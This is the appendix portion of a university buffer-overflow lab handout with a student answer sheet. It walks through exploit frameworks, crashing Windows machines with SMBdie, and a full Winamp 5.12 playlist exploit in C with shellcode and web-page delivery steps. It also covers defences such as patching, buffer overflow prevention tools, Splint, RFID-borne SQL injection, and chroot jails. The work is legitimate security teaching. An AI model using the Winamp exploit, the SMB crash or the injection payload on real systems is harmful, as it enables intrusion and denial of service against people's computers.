http://www.cigital.com/its4/
http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html
http://www.linuxsecurity.com/content/view/107127/
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APPENDIX E: Security
Forest
http://www.securityforest.com/
In the lab, we look at the Metasploit Framework which provides a centralized
system for launching exploits against vulnerable targets. This system has its merits, but it
also has its disadvantages. For example, it is only available for Linux, and it can only be
used by one user at a time. We took a look at another system, Security Forest, which is
similar to Metasploit, but also builds upon some of its shortcomings. Probably the two
most prevalent features worth mentioning are the fact that it runs on Windows (which is
good news for a lot of people who want to shy away from Linux) and it is also web-based
(which allows for a centralized repository to be utilized by multiple users on different
machines). Additionally, the parameters passed to exploits are simply filled by users
filling in fields on a webpage, and then to launch the exploit, you simply click one button.
On top of the built-in exploits, Security Forest allows for additional exploits to be added
to its database (the database is completely user-contributed, allowing for many more
vulnerabilities to be added with time). Parameters are again, specified through an easy to
use web interface. The exploit database is updated through the use of Exploit Tree, a
CVS-based system allowing for a centralized repository for all new exploits to be easily
accessed and updated by all users of Security Forest. Let’s take a look at Security Forest.
Here we see the ExploitTree front-end. This must be utilized to initialize the exploit
database after Security Forest is installed (through the use of a simple Windows installer).
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After things are setup, it’s as easy as launching SecurityForest from the Start menu.
Here we see the front page of SecurityForest. We are first presented with a list of the
built-in exploits, and we can see the options for adding additional exploits, viewing help,
etc.
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Here we can see the exploits that come preconfigured in Security Forest (including the
DCOM RPC exploit we saw previously in the lab). Again, this list of exploits may seem
limited, but the extendibility of the framework allows for a user to add many more
exploits, with no upper limit.
Here we see the interface for actually launching an exploit. We simply specify the ID
number of the target machine, specify its IP address, and click Exploit.
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After clicking Exploit, a window pops up where the exploit is actually executed, before
we are returned to a screen telling us the exploit was executed.
Here we see the interface for adding exploits to the database. We have only a few short
fields to fill in before the exploit is added to the database, and it can be utilized on this
system at any time.
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Beyond the exploits that are shown in the interface, the Exploit Tree includes many
exploits (.c files, etc.) which are not setup yet. One of its subtle, but extremely use “side
effect” features is that MANY well-organized (by system, application, target, etc.) are
included. Here we see a small sampling of source files for exploits included to
specifically target remote Microsoft Windows systems
(ExploitTree\system\microsoft\remote).
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APPENDIX F: Windows SMB Buffer Overflow / Denial of
Service Attack and Defense Using SMBdie v 0.1
Introduction
What is SMB?
SMB stands for Server Message Block is a way in which computers
exchange and share resources like printers and files. SMB has is the primary
component behind the Windows family of file sharing. SMB has an open source
of versions called Samba developed for Linux computers and has many variants.
For more information about the history and implementation of SMB see
http://www.samba.org/cifs/docs/what-is-smb.html.
What is SMBDie?
SMBDie is a proof of concept tool proving that a Windows based machine
can be crashed through the usage of a malformed SMB packet. It was created by
zamolx3@personal.ro, and it can be downloaded from PacketStorm.org at the
following address: http://packetstormsecurity.org/0208-exploits/SMBdie.zip.
SMBDie exploits a vulnerability described by Microsoft Security Bulletin
MS02-045 (http://www.microsoft.com/technet/security/bulletin/MS02-045.mspx).
The vulnerability is that there is an unchecked buffer in the SMB receiver that
allows the buffer overflow to occur resulting in a system crash. Currently there is
no evidence of this packet being capable of arbitrary code being run.
But how does one packet crash such a reliable operating system?
Really at heart the SMBDie attack is not a buffer overflow but a heap
overflow attack. What happens is that the packet sent to the victim contains the
standard headers however the headers are malformed, namely the ‘Max Param
Count’ and ‘Max Data Count’ are set to zero. The processing miscalculates the
amount of space that needs to be allocated and allocates 8 bytes short of what is
fully necessary on the heap. It then will write 8 bytes over the heap space
allocated after it and as a result when the first block is deallocated it will cause the
heap to become inconsistent as the control structure for the second block or part
of it, the first 8 bytes, were overwritten. As a result of this heap inconsistency
windows will crash. For a more detailed explanation see here
http://marc.theaimsgroup.com/?l=bugtraq&m=103011556323184&w=2
But why is it difficult for an attacker to run arbitrary code?
The reason why the attacker can not run arbitrary code is the bytes that
overflow are not under the control of the attacker. The attacker can only control
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the contents of the packet sent to the victim, however the values that overflow are
the results of function calls and as far as research have shown not under the
control of hackers.
Is SMBDie a Trojan?
When you unpack SMBDie on a virus scan protected computer you may
get a similar message as below:
However examining the information that McAfee presents on the “virus”
(http://vil.nai.com/vil/content/v_99659.htm) it shows that it is an exploit tool that crashes
Windows system, which for us is exactly what we were looking for. So have no fear you
computer is still safe.
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Using SMBDie
The first step to download the file from the site:
http://packetstormsecurity.org/0208-exploits/SMBdie.zip.
Next extract the zip file into a folder using your favorite compression
utility.
After extracting the file run the program by running SMBdie.exe. After
running you should see a screen like this:
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Enter in the computers IP address in the designated form field and the the
NETBIOs name in the correct spot. If you do not know the Netbios name
you can resolve the name using utilities discussed in Lab 1, such as
SuperScanner.
Once complete, press Kill and if successful you should see a screen like
below.
And your victim will see something like this:
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100
APPENDIX G: Winamp 5.12 (or earlier) buffer overflow exploit
Winamp is a free multimedia player distributed by Nullsoft, a part of American
Online, for Windows operating systems. Although the earlier versions played
audio files only, the latest versions are capable of playing both audio and video
files from local or streaming sources, such as American Online XM Satellite
Radio. Supported audio or video file formats include AVI, MIDI, MPEG, MP3,
WAV, WMA, and others. Winamp includes a playlist feature, which is a listing of
files for playback that can be ordered or randomized.
Being a free, compact and easy to use program, winamp is regarded as one of
the best program to play mp3 with and is extremely popular especially among
young computer users include college students.
A .pls file is a playlist file that supply a media player a list of the media file to be
played. Other than winamp, .pls file is also used in other media player such as
powerdved.
This lab addition examines a buffer overflow vulnerability that has been
discovered in Winamp version 5.12 or earlier. The vulnerability is due to
improper bounds checking of the user-supplied data given in a Winamp playlist.
When a playlist file is processed, user-supplied data from the playlist file is
copied into buffers. The file name and location of each referenced media file is
copied into its own fixed-sized stack buffer. No checking is done to ensure that
the file name length will not exceed the size of the allocated buffer. If the size of a
file name string exceeds the size of the buffer allocated for it, then a buffer
overflow occurs, potentially allowing for code to be injected and executed using
the privileges of the logged in user. Attack attempts that fail to execute code may
terminate the application, causing a denial of service.
To exploit this vulnerability, a remote, unauthenticated attacker would need to
persuade a user to download a malicious .m3u or .pls playlist file that contains an
overly long file name. Once the Winamp player opens the file, no additional user
interaction is required. The attacker could deliver the malicious playlist file to the
target using various methods like e-mail, instant messaging, or a web page.
Reportedly, Windows systems that have the Data Execution Prevention (DEP)
feature enabled are not affected by this vulnerability.
Attack through buffer overflow on winamp has its advantage: winamp is almost
installed on every computer which the owner wishes to play mp3 with (including
all computers in Georigia Tech library); Attack can be performed even if the
Windows system is already up to date with all service packs; Tool used in attack
is simply a .pls file which has totally harmless appearance; Finally, it is extremely
easy to convince unsuspicious user to open a simple mp3 play list even over
internet.
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Proof of concept code:
Following code generates a special .pls file, with a that when the pls generated
are run on a system with winamp 5.12 or under installed, winamp will close and
windows calculator (designed in the code, a malicious user may run anything
instead) opens. As can be seen in the code, the “file to be played” is resided on
an overly long computer name (about 1040 bytes).
/*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/
/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/
/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/
/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/
#include <windows.h>
#include <stdio.h>
#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"
char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] =
"\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";
// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";
// Harmless Calc.exe
char shellcode[] =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
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"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";
int main(int argc,char *argv[])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");
FILE *File;
char *pszBuffer;
if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
printf("\n [Err:] fopen()");
exit(1);
}
pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);
printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n");
return 1;
}
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Using the generated .pls file
In RedHat 4.0 machine, start vmware and install winamp 5.12 on the windows xp
virtual machine and windows xp copy virtual machine (as one will be used by
attacker as web host and on by victim as client)
(As seen in the picture, by default winamp associates itself with .pls file)
To create a host with malicious playlist file embedded in a webpage, on the
windows xp virtual machine, install IIS (throught control panel  add windows
components  check IIS option)
104
IIS will have it’s webpage stored under C:\Inetpub\wwwroot with default webpage
named index.htm
Create an htm file that automatically open a pls file upon viewing:
105
Place both the index file and generated play list file in IIS’s webpage directory:
On the client windows xp copy, opens the host’s IIS site by typing in host’s ip:
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A winamp main windows will automatically open, and within a flash the program
will close itself unexpected and Windows calculator, the desired code to be
executed by the exploit, will pop up.
During the process, winamp opens and close quickly and without any error
message or warning afterward. Unsuspicious user will likely to disregard the
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sequence and simply considered as a program or webpage error while
potencially malicious code can be run in the background.
Defending against this exploit
No long ago winamp 5.12 is still the most updated version of the program. Just 2
weeks ago (1-30 2006), winamp released version winamp 5.13 just for the buffer
overflow problem and fixed the bug in the new version. Therefore make sure your
multimedia player is up to date!
Various antivirus also dealt with the problem in their new virus definition and
prevent the potential malicious .pls file from being opened once detected
(regardless of code executed through buffer overflow being harmless or not). As
seen in the following picture from a computer with McAfee antivirus:
Furthermore:
Auto launching Winamp for playlist files can be disabled
For Firefox, go to Tools / Options settings, click on Download icon, then
click on View & Edit Actions... Scroll down to M3U / PLS extension and then
push the Remove Action button. Firefox will no longer automatically
launch firefox for Winamp playlist files.
It is a good idea in general for attack surface reduction to trim down the
View & Edit actions to just the ones user need. Is AIFF and
AU autolaunching needed for instance? What about all those Quicktime and
Acrobat formats?
For IE you need to disable the file type in Windows Explorer. Go to Tools
/ Folder Options / File Types. Scroll down to the file extension you want
to change. In this case it’s pls. Check Confirm after download. User will
be prompted to launch WinAmp if a pls file is downloaded. User can remove
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the file type completely but that will also remove the ability to
double-click to launch playlists from the Windows shell.
User may want to go through this list and check confirm after download for
many file types.
Defending Yourself: How to prevent being a victim to this attack?
The key areas are closing access and updating.
First, enabling Windows Firewall protection does not protect you from this attack
and still allow SMB to run as intended. If you enable the Windows Firewall and do not
open holes in the firewall for SMB to connect to other computers you will protect your
computer from this attack, however you will also for all intents and purposes disable the
windows network shares.
However, there are ways of protecting the system from this attack without
eliminating the benefits of SMB. The first way is to update. We applied the Windows
XP SP2 service pack to the system and found that the computer no longer suffered from
the SMBdie attack. The SP2, though 266 MBs of update, provides numerous updates to
the windows system and its security.
If you are unwilling to update your computer with the latest patches the next best
step is to limit access. This can be done in two ways. You can place a firewall at the
border of your network blocking all SMB traffic. The other way is to remove anonymous
user access to your SMB shares. In order for this exploit to work the attacker must be a
legitimate user of your computer shares. Thus by removing all anonymous access it will
restrict the attack to only legitimate users, and this will still maintain most of the
functionality of SMB.
109
Appendix H: Buffer Overflow Exploit Prevention
A number of companies have provided products to help protect again buffer overflows.
These include Internet Security System’s Buffer Overflow Exploit Prevention (BOEP)
and McAfee’s Buffer Overflow Protection (BOP). We will be taking a look at the
former.
Please read the following Knowledge Base article from ISS:
http://iss.custhelp.com/cgi-bin/iss.cfg/php/enduser/std_adp.php?p_faqid=2984
On your Windows XP machine, do the following:
Select Start->Run
Type \\57.35.6.10\secure_class
The username and password are both secure_class.
Copy agentinstall.exe from the Lab4 directory to your Windows XP machine.
Double click agentinstall.exe to execute it.
The install is a silent install and when it is done, the Proventia Desktop window will
appear.
From the “Tools” menu, select “Edit Settings”. This will bring up the Settings window.
Click on the “Buffer Overflow Exploit Prevention” tab. Ensure that “Protect against
buffer overflow exploits” is checked. Close the Settings window.
Next, go back to your RedHat WS4 machine and rerun the Metasploit buffer overflow
attack that you ran successfully in Section VIII. We want to try to get a shell again so use
win32_bind as the payload. Run the Metasploit buffer overflow exploit.
Were you able to successfully get a shell on your remote Windows XP machine like
before?
If the Proventia Desktop window is not open, open it by clicking on the Proventia
Desktop icon in the system tray.
What security events did Proventia Desktop fire when you tried to do the exploit?
Take a screen shot of Proventia Desktop window showing the blocked buffer
overflow attempt.
Run “agentremove.exe” from “C:\Program Files\ISS\Proventia Desktop” to remove
Proventia Desktop. A reboot will be required to fully unlink the BOEP DLLs.
110
APPENDIX I: Splint – Secure Programming LINT
Overview
Splint is a tool for statically checking C programs for security vulnerabilities and coding
mistakes. With minimal effort, Splint can be used as a better lint. If additional effort is
invested adding annotations to programs, Splint can perform stronger checking than can
be done by any standard lint.1
The Big Picture
Most security attacks exploit instances of poor programming or silly programming
mistakes. Splint can be used by programmers to double-check their C code to ensure that
it does not contain any obvious security vulnerabilities. While Splint will not fix poor
programming practices, it is one security layer in the multi-layer secure programming
model.
Theory
The term lint was derived from the name of the undesirable bits of fiber and fluff found
in sheep's wool. Lint and Splint perform static analysis of source code looking for
suspicious and vulnerable code. Suspicious code includes things like variables being
used before being set, conditions that are always true/false and calculations whose result
is likely to be outside the range of expected values. In addition, these checkers may
suggest changes to code to optimize them for a specific compiler. 2
Installing Splint 3
Splint should already be installed natively; however, if not here are the basic installation
instructions. Before installing, you must download the source code from the Splint
website or mirror. (http://www.splint.org/downloads/binaries/splint-3.1.1.Linux.tgz).
Next, untar the tarball. This will create a splint-3.1.1 directory containing several
directories.
# tar –xvf splint-3.1.1.Linux.tgz
Now, configure, compile, and install the source code.
# cd splint-3.1.1
# ./configure
# make install
Next, configure the environment variables necessary to launch SPLINT. You will need
to add the following to your .bash_profile (located in your home directory). Do not
forget to export both environment variables.
1
http://en.wikipedia.org/wiki/Splint_%28programming_tool%29
http://en.wikipedia.org/wiki/Lint_programming_tool
3
http://www.splint.org/
2
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LARCH_PATH = ~/splint-3.1.1/lib
LCLIMPORTDIR = ~/splint-3.1.1/imports
EXPORT LARCH_PATH;
EXPORT LCLIMPORTDIR;
Finally, source your bash profile to load the environment variables.
# . ~/.bash_profile
How SPLINT Works
Splint uses command line flags and code annotations to determine how stringently to
check code and to make intelligent decisions about whether the code is doing what it is
expected to do. Take a look at the Splint manual for a complete list of command line
flags, but here are few of the more common ones. 4
Flag
-weak
+bounds
+infloopsuncon
+evalorderruncon
Description
sets main checking parameters to use weaker checking than is done in default mode.
ensures memory read and writes are not out of bounds.
check for potential infinite loops.
check for potential expression order errors.
Example 1: Bounds Checking
Save the following as ‘example1.c’. This is the same example1 used in lab 4.
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
On the command like, use Splint to check for potential buffer overflows.
# splint +bounds example1.c
You should see several messages in the output warning of potential out-of-bounds errors.
Annotations
Annotations are stylized comments that follow a definite syntax. Coders use the
annotations throughout the source code to express certain assumptions about variables,
return values, and parameters. These annotations, allow Splint to more thoroughly check
4
http://www.splint.org/
112
source code. Check the Splint manual for a full list of annotations available, but here a
few of the more common annotations.
Annotation
/*@returned@*/
/*@null@*/
/*@alt void@*/
Description
Parameter will be returned.
Parameter may potentially be null.
Parameter may be void.
Example 2: Using Annotations
Save the following as ‘example2.c’.
char firstChar1 (/*@null@*/ char *s)
{
return *s;
}
char firstChar2 (/*@null@*/ char *s)
{
if (s == NULL) return '\0';
return *s;
}
On the command like, use Splint check for potential vulnerabilities.
# splint example2.c
You should see several messages in the output warning that you did not check to ensure
the *s is not null. If a parameter is annotated as potentially null, a conditional must check
for the null value.
References
Splint.org: http://www.splint.org/
Wikipedia: http://en.wikipedia.org/wiki/Splint_%28programming_tool%29
http://en.wikipedia.org/wiki/Lint_programming_tool
113
Screenshot showing output of splint on example1.c.
Screenshot showing output of splint on example2.c.
114
APPENDIX J: Using RFID Tags to Cause Buffer Overflows and SQL
Injection Attacks
Buffer overflow attacks and code insertion attacks such as SQL injection are a possibility
whenever data to be used by a back-end system is under the control of an attacker. Web
and application interfaces are not the only places where these kind of exploits can occur.
RFID (Radio Frequency Identification) tags are objects that can be attached to a product,
animal, or person, for identification purposes. They typically have a small amount of
memory (sometimes less than 1024 bits) and little processing power. Their purpose is
essentially to store data and transmit it over radio waves.
RFID tags have a number of well-known security issues:
● Sniffing - RFID tags are designed to be read by any compliant reading device,
even without the knowledge of the tag bearer, and even at large distances.
● Spoofing - Sniffed RFID tag data can be used to write data onto a blank or
rewritable RFID transponder and clone an RFID tag.
● Replay Attacks - RFID relay devices can sniff and retransmit RFID queries,
fooling digital passport readers, contactless payment, and building access control
stations, unless challenge-response authentication is used.
● Denial of Service - By preventing radio waves from reaching RFID tags -- either
by jamming radio waves or blocking them using a Faraday shield -- RFID tags
can be prevented from being read or written to.
● Tracking - Individuals can be tracked involuntarily, by placing RFID readers in
strategic locations to record sightings of the tags.
In addition to these vulnerabilities, most of which focus on the RFID tags themselves,
and in spite of the fact that RFID tags are little more than miniature storage devices,
RFID tags could facilitate exploits on large back-end systems. This is because some
back-end systems may use data from these tags without properly testing whether the data
is valid. This data may contain buffer overflow and code injection attacks.
Here is a simple scenario of an RFID exploit that uses an SQL injection attack on a
Supermarket distribution center's database:
A container arrives in a Supermarket distribution center. Normally, its RFID tag
should describe the physical contents of the container, like this:
Contents=Raspberries
However, the container's RFID tag is infected, and it stores the contents followed
by a semicolon and SQL commands:
Contents=Raspberries; UPDATE NewContainerContents SET
ContainerContents = ContainerContents||``;[SQLInjection]'';
where [SQLInjection] contain SQL commands that compromise the system.
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Exploits like these can enable RFID "viruses," which spread from an infected RFID tag
to a system that reads the tag and is vulnerable to the exploit, and then spread again when
a new RFID tag is written to by this infected system.
Attacks through RFID tags have the potential to cause a lot of damage, because RFID
tags are becoming ubiquitous. They are beginning to be used to store high-value data
such as medical information and passport authentication information. It is easy to
imagine an attacker spoofing the RFID information of someone else's passport, but
imagine compromising an entire passport database using a buffer overflow or SQL
injection exploit on a single RFID tag! Thus, exploits like these are an issue even of
national security, and must be prevented.
Preventative measures include:
Bounds checking: Compile with bounds checking enabled, avoid function calls that
do not bounds checking (for example, by using splint), and add bounds checking
manually where needed.
Sanitize the input: Remove anything that might be code by using built-in data
sanitizing functions such as pg_escape_bytea() in Postgres and
mysql_real_escape_string() in MySQL.
Disable back-end scripting languages: RFID middleware that uses HTTP should
eliminate support for client-side scripting (such as JavaScript, ActiveX, and
Flash) and server-side scripting.
Limit database permissions: The database connection from the RFID middleware
server should have the most limited rights possible (such as read-only rights, and
only to specific tables), and multiple SQL commands in a single query should be
disabled.
Isolate the RFID middleware server: The RFID middleware server should be isolated
from the rest of the back-end infrastructure so that if the middleware server is
compromised, the rest of the infrastructure remains secure.
Use parameter binding: Use the PREPARE statement in SQL to bind parameters,
preventing data from being executed as code.
Code review: RFID middleware systems are new, and the integration of RFID
systems with existing back-end systems that were not designed for use with RFID
systems may reveal security holes that were not issues previously. This makes it
critical to audit RFID solutions for security issues.
Source:
Melanie Reiback, Bruno Crispo, and Andrew Tanenbaum. "Is Your Cat Infected
with a Computer Virus?" http://www.rfidvirus.org/papers/percom.06.pdf
116
APPENDIX K: Securing programs in a chroot jail
Many programs contain unwanted bugs that can be used by attackers to compromise a
remote system. Even software that appears to be secure can still have problems that are
yet to be discovered. With this in mind, the best option is to minimize the damage that a
compromised binary can cause. This is possible with careful use of a program named
chroot. This will change the root directory to one of your choosing, thus forcing the
binary to run in a limited “jail.” Because this is a very limited environment, any damage
can be minimized and confined to the jail.
First we will begin by creating the chroot jail under a RedHat 7.2 VM
# mkdir /var/chroot
# cd /var/chroot
# mkdir –p bin lib/i686
Next we need to set up libraries. To determine what libraries are needed by an executable
such as bash or ls, use the ldd command.
#
#
#
#
cp
cp
cp
cp
/lib/ld-linux.so.2 lib/
/lib/libdl.so.2 lib/
/lib/libtermcap.2 lib/
/lib/i686/libc.so.6 lib/i686/
Once these libraries are in place, copy the needed programs to the chroot environment.
You should already have the exploit3 and vulnerable programs from section 1 of lab
4. If you modified them, make sure to use an unmodified version for this exercise.
#
#
#
#
cp
cp
cp
cp
/bin/sh bin/
/bin/bash bin/
/path/to/exploit3 bin/
/path/to/vulnerable bin/
Next we will create our wrapper program to execute a shell under a limited user.
Using vi or emacs, create a file named runshell.c with the following contents:
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char **argv){
setuid(99);
execv(“/bin/bash”,argv);
return 0;
}
Then compile and copy this program.
# gcc –o runshell runshell.c
# cp runshell bin/
Now set the owner of all the binaries to the user nobody.
# chown nobody:nobody /var/chroot/bin/*
117
Now switch into the chroot environment by typing:
# cd ..
# chroot /var/chroot runshell
Then perform the exploit to get a shell (use the numbers that you used earlier in the lab):
$ exploit3 ### ###
$ vulnerable $EGG
You should get a shell. Do an ls, print the UID and take a screen shot.
$ ls
<directories>
$ echo $UID
Try to use other commands, such as su or gcc. Do they work? Why?
Note: There are known ways to break out of a chroot jail. These methods usually require
root access and/or access to a compiler. Be sure to check out the best practices for using
chroot here: http://www.unixwiz.net/techtips/chroot-practices.html
118
ECE4112 Internetwork Security
Lab 4: Buffer Overflows
Group Number: _________
Member Names: ___________________
_______________________
Answer Sheet
PLQ1: According to the article, what are the common problems with C/C++ which
allow buffer overflows?
Section I – Experimentation
The Stack Region
1) Draw a diagram of the memory stack at the time that function is called.
Overflowing a Buffer
2) What are the results of executing example2? Why?
119
Understanding Return Pointer Redirection
3) How did you modify example3.c to successfully redirect the pointer?
Shellcode
4) Why is it important to eliminate null characters?
120
5) How were we able to modify the assembly code to remove null characters?
Writing an Exploit
6) exploit2 successful buffer size and offset or ten attempts and reasoning:
7) exploit3 successful buffer size and offset:
8) Why was it so much easier to utilize exploit3?
9) What changes did you make to vulnerable.c?
Section II
imapd
9) imapd-ex successful offset:
10) What privileges did you gain on your Virtual Machine by running the exploit in Red
Hat 7.2?
121
Section III – Common Vulnerabilities
11) What is the cause of the behavior in adjacent.c?
12) Modify adjacent.c to remove this “undesired” behavior. What were your code
modifications?
Copy your output to a text file using cut and paste and turn in the successful output
proving you were able to create a shell with this overflow.
13) Modify cmdline.c to remove this vulnerability. What changes did you make?
14) input successful buffer size and offset:
15) remote.c successful buffer size and offset:
Copy your output to a text file using cut and paste and turn in the output and the
output of a successful run of whoami from the exploited shell prompt.
Section IV – A Contemporary Vulnerability
16) Include text file and screenshot
17) What steps could a system administrator take to prevent this vulnerability?
Section V – Libsafe – A preventive measure to buffer overflow
18) Include text file
Section VI - Obtaining Administrator Privileges on Windows using a Buffer
Overflow Attack
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19) Were you able to obtain administrator privileges?
Section VII – Watching a Buffer overflow in action
20) Were you able to follow the example in the debugger as explained in the lab?
Section VIII – Automated Toolkits to Write Buffer Overflow Exploits
21) Did you get a window with total control?
18) How long did it take you to complete this lab? Was it an appropriate length lab?
19) What corrections and/or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you would
give to future students in the new lab handout. You may cross out and edit the text of the
lab on previous pages to make minor corrections/suggestions. General suggestions like
add tool xyz to do more capable scanning will not be awarded extras points even if the
statement is totally true. Specific text that could be cut and pasted into this lab, completed
exercises, and completed solutions may be awarded additional credit. Thus if tool xyz
adds a capability or additional or better learning experience for future students here is
what you need to do. You should add that tool to the lab by writing new detailed lab
instructions on where to get the tool, how to install it, how to run it, what exactly to do
with it in our lab, example outputs, etc. You must prove with what you turn in that you
actually did the lab improvement yourself. Screen shots and output hardcopy are a good
way to demonstrate that you actually completed your suggested enhancements. The lab
addition section must start with the form “laboratory Additions Cover Sheet” which may
be found on the class web site.
Attach to your submission:
Output of exploited cmdline
Output of exploited remote
Output of exploited WindowsXP
Screenshot of crashing WindowsXP and text file
Libsafe text file
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Download